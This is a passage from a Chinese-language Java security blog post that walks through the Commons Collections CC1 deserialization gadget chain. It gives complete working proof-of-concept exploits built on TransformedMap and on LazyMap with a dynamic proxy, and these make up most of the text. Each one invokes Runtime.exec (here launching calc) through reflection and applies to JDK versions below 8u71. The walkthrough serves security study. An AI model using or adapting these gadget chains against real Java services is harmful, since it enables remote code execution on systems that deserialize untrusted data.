class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Constructor that performs no validation.</span></span><br><span class="line"><span class="comment"> * Use <code>getInstance</code> if you want that.</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> transformers the transformers to chain, not copied, no nulls</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> <span class="title function_">ChainedTransformer</span><span class="params">(Transformer[] transformers)</span> {</span><br><span class="line"> <span class="built_in">super</span>();</span><br><span class="line"> iTransformers = transformers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">/**</span></span><br><span class="line"><span class="comment"> * Transforms the input to result via each decorated transformer</span></span><br><span class="line"><span class="comment"> * </span></span><br><span class="line"><span class="comment"> * <span class="doctag">@param</span> object the input object passed to the first transformer</span></span><br><span class="line"><span class="comment"> * <span class="doctag">@return</span> the transformed result</span></span><br><span class="line"><span class="comment"> */</span></span><br><span class="line"> <span class="keyword">public</span> Object <span class="title function_">transform</span><span class="params">(Object object)</span> {</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i < iTransformers.length; i++) {</span><br><span class="line"> object = iTransformers[i].transform(object);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> object;</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>第⼀个是 ConstantTransformer,直接返回当前环境的 Runtime 对象;第二个是 InvokerTransformer,执⾏ Runtime 对象的 exec ⽅法</p><p>手工 put 触发回调</p><p>poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> {</span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Runtime.getRuntime()),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class}, <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})};</span><br><span class="line"> <span class="type">Transformer</span> <span class="variable">transformerChain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">map</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"> <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> TransformedMap.decorate(map, <span class="literal">null</span>, transformerChain);</span><br><span class="line"> outerMap.put(<span class="string">"key"</span>, <span class="string">"value"</span>);</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>至此,我们的链子</p><p><img src="https://img-blog.csdnimg.cn/5d8c2d2f2c0f435485ed2a1f1c27e498.png" alt="img"></p><p>虽然调用的实现类是不同的,但是大致的步骤都是差不多的</p><p>都是通过对 Map 对象的 value 值进行操作,将调用 <code>InvokerTransformer</code> 的对象存入 Map→Value</p><p>并调用 TransformedMap.decorate 这一静态方法,使其触发 <code>valueTransformer.transform</code> 方法,实际上也就是触发 <code>invokerTransformer.transform</code> 从而达到命令执行的目的</p><p>当然,上面的两个 EXP 还不算真正的链子,应该将 Map 对象变成一个序列化流</p><p>既然是反序列化,触发的点就是 readObject,我们还需要找到一个存在类似的写入操作</p><p>接着开始找哪里调用了 setValue 方法</p><p><img src="https://img-blog.csdnimg.cn/df3a51644a5947d89101e194fa6eab55.png" alt="img"></p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">for</span> (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {</span><br><span class="line"> <span class="type">String</span> <span class="variable">name</span> <span class="operator">=</span> memberValue.getKey();</span><br><span class="line"> Class<?> memberType = memberTypes.get(name);</span><br><span class="line"> <span class="keyword">if</span> (memberType != <span class="literal">null</span>) { <span class="comment">// i.e. member still exists</span></span><br><span class="line"> <span class="type">Object</span> <span class="variable">value</span> <span class="operator">=</span> memberValue.getValue();</span><br><span class="line"> <span class="keyword">if</span> (!(memberType.isInstance(value) ||</span><br><span class="line"> value <span class="keyword">instanceof</span> ExceptionProxy)) {</span><br><span class="line"> memberValue.setValue(</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">AnnotationTypeMismatchExceptionProxy</span>(</span><br><span class="line"> value.getClass() + <span class="string">"["</span> + value + <span class="string">"]"</span>).setMember(</span><br><span class="line"> annotationType.members().get(name)));</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p>注意到这里存在 Map.Entry 的遍历和调用 setValue,大致是符合我们上面写的第一个 EXP</p><p>再来看一下构造函数</p><p><img src="https://img-blog.csdnimg.cn/2f31cc608f2f4bbebf1832089619ef6a.png" alt="img"></p><p>这里就有两个问题了</p><p>1、 <code>Runtime.getRuntime()</code> 没有实现 <code>java.io.Serializable</code> 接口,不能序列化</p><p>2、想要调用 setValue 需要经过两个 if 判断,否则不能调用</p><p>这里的 Map 是我们可控的,也就是可以调用 <code>invokerTransformer.transform</code></p><p>并且这里的 class 关键字前没有 public,不能直接调用,这里就需要反射获取</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">annotationInvocationHandler</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class,Map.class);</span><br><span class="line"> annotationInvocationHandler.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> annotationInvocationHandler.newInstance(Override.class,transformedMap);</span><br><span class="line"> serialize(o);</span><br><span class="line"> unserialize(<span class="string">"ser.bin"</span>);</span><br></pre></td></tr></table></figure><p>同时这里的 Runtime 部分就不能用 java.lang.Runtime 了,而是 java.lang.Class 并写在 <code>ChainedTransformer</code> 数组内</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line">Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class,Class[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[]{}}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[]{}}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> };</span><br></pre></td></tr></table></figure><p>接着就是第二个问题</p><p>我们先在第一个 if 打上断点调试看下</p><p>这里判定为 null,肯定无法进入 if</p><p><img src="https://img-blog.csdnimg.cn/9d0e5e98bf2d4eaeb94c6766c2c47523.png" alt="img"></p><p>考虑到我们之前调用的无参方法中注解类存在 value 的参数</p><p><img src="https://img-blog.csdnimg.cn/2c1dd5e6a13b4d3eb1ce56549e610116.png" alt="img"></p><p><img src="https://img-blog.csdnimg.cn/26d43ae320d340c7942b62bc5c827414.png" alt="img"></p><p>所以这里将 map 对象的 key 修改为 value 并将焦勇的无参方法换成 Target</p><p>所以最终的 poc:</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.TransformedMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.*;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Target;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationTargetException;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc1</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {</span><br><span class="line"></span><br><span class="line"><span class="comment">// Runtime r = Runtime.getRuntime();</span></span><br><span class="line"><span class="comment">// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",</span></span><br><span class="line"><span class="comment">// new Class[]{String.class}, new Object[]{"calc"});</span></span><br><span class="line"></span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class, Class[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>, <span class="keyword">new</span> <span class="title class_">Class</span>[]{}}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class, Object[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>, <span class="keyword">new</span> <span class="title class_">Object</span>[]{}}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> };</span><br><span class="line"></span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"><span class="comment">// chainedTransformer.transform(Runtime.class);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Class c = Runtime.class;</span></span><br><span class="line"><span class="comment">// Method getRuntimeMethod = c.getMethod("getRuntime",null);</span></span><br><span class="line"><span class="comment">// Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);</span></span><br><span class="line"><span class="comment">// Method execMethod = c.getMethod("exec",String.class);</span></span><br><span class="line"><span class="comment">// execMethod.invoke(r,"calc");</span></span><br><span class="line"></span><br><span class="line"> HashMap<Object, Object> map = <span class="keyword">new</span> <span class="title class_">HashMap</span><>();</span><br><span class="line"> map.put(<span class="string">"value"</span>, <span class="string">"ki10"</span>);</span><br><span class="line"> Map<Object, Object> transformedMap = TransformedMap.decorate(map, <span class="literal">null</span>, chainedTransformer);</span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">//</span></span><br><span class="line"><span class="comment">// for (Map.Entry entry : transformedMap.entrySet()) {</span></span><br><span class="line"><span class="comment">// entry.setValue(r);</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// }</span></span><br><span class="line"></span><br><span class="line"> <span class="type">Class</span> <span class="variable">c</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">annotationInvocationhdConstructor</span> <span class="operator">=</span> c.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line"> annotationInvocationhdConstructor.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> annotationInvocationhdConstructor.newInstance(Target.class, transformedMap);</span><br><span class="line"></span><br><span class="line"> serialize(o);</span><br><span class="line"></span><br><span class="line"> unserialize(<span class="string">"ser.bin"</span>);</span><br><span class="line"></span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">serialize</span><span class="params">(Object obj)</span> <span class="keyword">throws</span> IOException {</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oos</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(<span class="keyword">new</span> <span class="title class_">FileOutputStream</span>(<span class="string">"ser.bin"</span>));</span><br><span class="line"> oos.writeObject(obj);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> Object <span class="title function_">unserialize</span><span class="params">(String Filename)</span> <span class="keyword">throws</span> IOException, ClassNotFoundException{</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">ois</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(<span class="keyword">new</span> <span class="title class_">FileInputStream</span>(Filename));</span><br><span class="line"> <span class="type">Object</span> <span class="variable">obj</span> <span class="operator">=</span> ois.readObject();</span><br><span class="line"> <span class="keyword">return</span> obj;</span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/389c40883b474a21babc01bbecc4e7f7.png" alt="img"></p><p>至此 <code>TransformedMap</code> 这条链子就走完了</p><p><img src="https://img-blog.csdnimg.cn/6ba520d480df49308a076b6dfc8b6943.png" alt="img"></p><p>但是通过 ysoseiral 源码发现</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">Gadget chain:</span><br><span class="line">ObjectInputStream.readObject()</span><br><span class="line">AnnotationInvocationHandler.readObject()</span><br><span class="line">Map(Proxy).entrySet()</span><br><span class="line">AnnotationInvocationHandler.invoke()</span><br><span class="line">LazyMap.get()</span><br><span class="line">ChainedTransformer.transform()</span><br><span class="line">ConstantTransformer.transform()</span><br><span class="line">InvokerTransformer.transform()</span><br><span class="line">Method.invoke()</span><br><span class="line">Class.getMethod()</span><br><span class="line">InvokerTransformer.transform()</span><br><span class="line">Method.invoke()</span><br><span class="line">Runtime.getRuntime()</span><br><span class="line">InvokerTransformer.transform()</span><br><span class="line">Method.invoke()</span><br><span class="line">Runtime.exec()</span><br><span class="line">Requires:</span><br><span class="line">commons-collections</span><br></pre></td></tr></table></figure><p>该链调用的并不是 <code>TransformedMap</code> 而是 <code>LazyMap</code></p><p>相较于 <code>TransformedMap</code> , <code>LazyMap</code> 也要更复杂一点</p><p>这次的链子,我们反着来学习</p><p>从源码中不难发现,在 <code>AnnotationInvocationHandler.readObject()</code> 方法下没有直接调用 Map 的 get 方法而是使用了动态代理</p><p>我们首先来看一下 LazyMap 中的 get 方法</p><p><img src="https://img-blog.csdnimg.cn/6a4f671a3bb04d1c885cab6f14ab301b.png" alt="img"></p><p>其中 containsKey 是布尔型的</p><p><img src="https://img-blog.csdnimg.cn/a5959ac801d5404ea2a65ddc913945ab.png" alt="img"></p><p>也就是说当 containsKey 不存在时,就会去调用 <code>factory.transform(key)</code> 并将其作业返回值</p><p>但对于 <code>sun.reflect.annotation.AnnotationInvocationHandler</code> 这个类来说,实际上这个类是继承了 <code>InvocationHandler</code> 的。也就是说,可以将这个对象动态代理,在 readObject 的时候,调用方法就可以进入 <code>AnnotationInvocationHandler</code> 的 invoke 方法,从而调用 LazyMap 中的 get (key)</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">package</span> org.example;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.Transformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ChainedTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.ConstantTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.functors.InvokerTransformer;</span><br><span class="line"><span class="keyword">import</span> org.apache.commons.collections.map.LazyMap;</span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ByteArrayOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectInputStream;</span><br><span class="line"><span class="keyword">import</span> java.io.ObjectOutputStream;</span><br><span class="line"><span class="keyword">import</span> java.lang.annotation.Retention;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Constructor;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.InvocationHandler;</span><br><span class="line"><span class="keyword">import</span> java.lang.reflect.Proxy;</span><br><span class="line"><span class="keyword">import</span> java.util.HashMap;</span><br><span class="line"><span class="keyword">import</span> java.util.Map;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">cc1</span> {</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">main</span><span class="params">(String[] args)</span> <span class="keyword">throws</span> Exception {</span><br><span class="line"></span><br><span class="line"><span class="comment">// Runtime r = Runtime.getRuntime();</span></span><br><span class="line"><span class="comment">// InvokerTransformer invokerTransformer = new InvokerTransformer("exec",</span></span><br><span class="line"><span class="comment">// new Class[]{String.class}, new Object[]{"calc"});</span></span><br><span class="line"></span><br><span class="line"> Transformer[] transformers = <span class="keyword">new</span> <span class="title class_">Transformer</span>[]{</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">ConstantTransformer</span>(Class.forName(<span class="string">"java.lang.Runtime"</span>)),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"getMethod"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class,Class[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"getRuntime"</span>,<span class="keyword">new</span> <span class="title class_">Class</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"invoke"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Object.class,Object[].class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="literal">null</span>,<span class="keyword">new</span> <span class="title class_">Object</span>[<span class="number">0</span>]}),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">InvokerTransformer</span>(<span class="string">"exec"</span>,</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{String.class},</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Object</span>[]{<span class="string">"calc"</span>})</span><br><span class="line"> } ;</span><br><span class="line"> <span class="type">ChainedTransformer</span> <span class="variable">chainedTransformer</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ChainedTransformer</span>(transformers);</span><br><span class="line"> <span class="type">Map</span> <span class="variable">innerMap</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">HashMap</span>();</span><br><span class="line"></span><br><span class="line"> <span class="type">Map</span> <span class="variable">outerMap</span> <span class="operator">=</span> LazyMap.decorate(innerMap,chainedTransformer);</span><br><span class="line"></span><br><span class="line"> <span class="type">Class</span> <span class="variable">clazz</span> <span class="operator">=</span> Class.forName(<span class="string">"sun.reflect.annotation.AnnotationInvocationHandler"</span>);</span><br><span class="line"> <span class="type">Constructor</span> <span class="variable">cons</span> <span class="operator">=</span> clazz.getDeclaredConstructor(Class.class, Map.class);</span><br><span class="line"> cons.setAccessible(<span class="literal">true</span>);</span><br><span class="line"> <span class="type">InvocationHandler</span> <span class="variable">handler</span> <span class="operator">=</span> (InvocationHandler)cons.newInstance(Retention.class, outerMap);</span><br><span class="line"></span><br><span class="line"> <span class="type">Map</span> <span class="variable">proxyMap</span> <span class="operator">=</span> (Map) Proxy.newProxyInstance(</span><br><span class="line"> Map.class.getClassLoader(),</span><br><span class="line"> <span class="keyword">new</span> <span class="title class_">Class</span>[]{Map.class},</span><br><span class="line"> handler</span><br><span class="line"> );</span><br><span class="line"> <span class="type">Object</span> <span class="variable">o</span> <span class="operator">=</span> cons.newInstance(Retention.class, proxyMap);</span><br><span class="line"> <span class="type">byte</span>[] bytes = serialize(o);</span><br><span class="line"> unserialize(bytes);</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="keyword">void</span> <span class="title function_">unserialize</span><span class="params">(<span class="type">byte</span>[] bytes)</span> <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayInputStream</span> <span class="variable">bain</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayInputStream</span>(bytes);</span><br><span class="line"> <span class="type">ObjectInputStream</span> <span class="variable">oin</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectInputStream</span>(bain)){</span><br><span class="line"> oin.readObject();</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">public</span> <span class="keyword">static</span> <span class="type">byte</span>[] serialize(Object o) <span class="keyword">throws</span> Exception{</span><br><span class="line"> <span class="keyword">try</span>(<span class="type">ByteArrayOutputStream</span> <span class="variable">baout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ByteArrayOutputStream</span>();</span><br><span class="line"> <span class="type">ObjectOutputStream</span> <span class="variable">oout</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">ObjectOutputStream</span>(baout)){</span><br><span class="line"> oout.writeObject(o);</span><br><span class="line"> <span class="keyword">return</span> baout.toByteArray();</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> }</span><br><span class="line"> }</span><br></pre></td></tr></table></figure><p><img src="https://img-blog.csdnimg.cn/a33ef20c718646b0be4c8b8151fdb450.png" alt="img"></p><h3 id="最后"><a class="markdownIt-Anchor" href="#最后">#</a> 最后</h3><p>poc 适用的版本应该是 < 8u71</p>]]></content>
<tags>
<tag> 代码审计 </tag>
<tag> Java安全 </tag>
</tags>
</entry>
</search>